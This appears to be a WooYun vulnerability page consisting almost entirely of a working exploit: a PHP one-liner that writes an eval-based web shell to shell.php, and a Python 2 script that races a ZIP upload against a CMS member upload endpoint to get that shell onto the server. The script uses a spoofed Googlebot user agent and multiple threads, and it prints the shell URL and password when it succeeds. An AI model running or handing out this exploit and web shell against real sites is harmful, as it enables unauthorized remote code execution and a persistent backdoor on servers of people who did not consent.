WooYun.org

<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>

#coding=utf-8
import os
import sys
import socket
import urllib
import urllib2
import threading
import msvcrt
# shell: 最终生成shell的URL
# tmpfile: 文件上传生成的临时文件URL
# postu & shell & tmpfile 这三个参数根据具体情况更改
shell   = '/shell.php'
tmpfile = '/member/uploadfile/member/2/1/1.php' # 2是我的uid，你测试的时候填自己的uid
class upload(threading.Thread):
    def __init__(self,num,loop,host,header,tmpfile,shell):
        threading.Thread.__init__(self)
        self.num     = num
        self.loop    = loop
        self.host    = host
        self.header  = header
        self.shell   = '%s%s' % (host,shell)
        self.tmpfile = '%s%s' % (host,tmpfile)
        
    def run(self):
        while True:
            print u'正在进行第%d轮尝试...\n' % self.loop
            while(self.num<3):
                print u'正在进行第%d次尝试访问临时文件...' % self.num
                self._get(self.tmpfile)
                self.num += 1
            self.num = 1
            while(self.num<11):
                print u'正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num
                self.send_socket(self.host,self.header)
                self._get(self.tmpfile)
                self.num += 1
            self.num = 1
            while(self.num<11):
                print u'正在进行第%d次尝试访问临时文件...' % self.num
                self._get(self.tmpfile)
                self.num += 1
            self.loop += 1
            self.num = 1
    def _get(self,tmpfile):
        try:
            response = urllib2.urlopen(tmpfile)
            if response.getcode() == 200:
                print '\nSuccess!\nShell: %s\nPass is [1@3].' % self.shell
                os._exit(1)
        except urllib2.HTTPError,e:
            pass
            
    def send_socket(self,host,headers):
        if 'http://' in host:
            host = host.split('/')[2]
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, 80))
        sock.send(headers)
        sock.close()
        
class ThreadStop(threading.Thread):
    def run(self):
        try:           
            chr = msvcrt.getch()
            if chr == 'q':
                print "stopped by your action( q )."
                os._exit(1)
        except:
            os._exit(1)
            
def usage():
    print '\n\tUsage: upload.py <url>      '
    print '\n\tExp: upload.py www.vulns.org'
    os._exit(0)
def hex_to_asc(ch):
    ch = int(float.fromhex(ch))
    return '{:c}'.format(ch)
def post_data():
    postdata = ''
    with open('1.zip', 'rb') as fin: # 1.zip是你的压缩包名
        postdata = fin.read()
    return postdata
def exploit():
    num     = 1
    loop    = 1
    threads = []
    host   = sys.argv[1]
    cookie = sys.argv[2]
    if 'http://' not in host:
        host = 'http://%s' % host
    
    postdata = post_data()
    mhost = host.split('/')[2]
    
    posturl  = '/member/index.php?c=account&m=upload'
    header  = 'POST %s HTTP/1.1\r\n' % posturl
    header += 'Host: %s\r\n' % mhost
    header += 'User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n'
    header += 'Content-Type: application/octet-stream\r\n'
    header += 'Accept-Encoding: gzip,deflate,sdch\r\n'
    header += 'Content-Length: %d\r\n' % len(postdata)
    header += 'Cookie: %s\r\n\r\n%s\r\n' % (cookie,postdata)
    
    shouhu = ThreadStop()
    shouhu.setDaemon(True)
    shouhu.start()
    
    for i in range(10):#线程数不能小了
        t = upload(num,loop,host,header,tmpfile,shell)
        t.start()
        threads.append(t)
    for th in threads:
        t.join()
if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        exploit()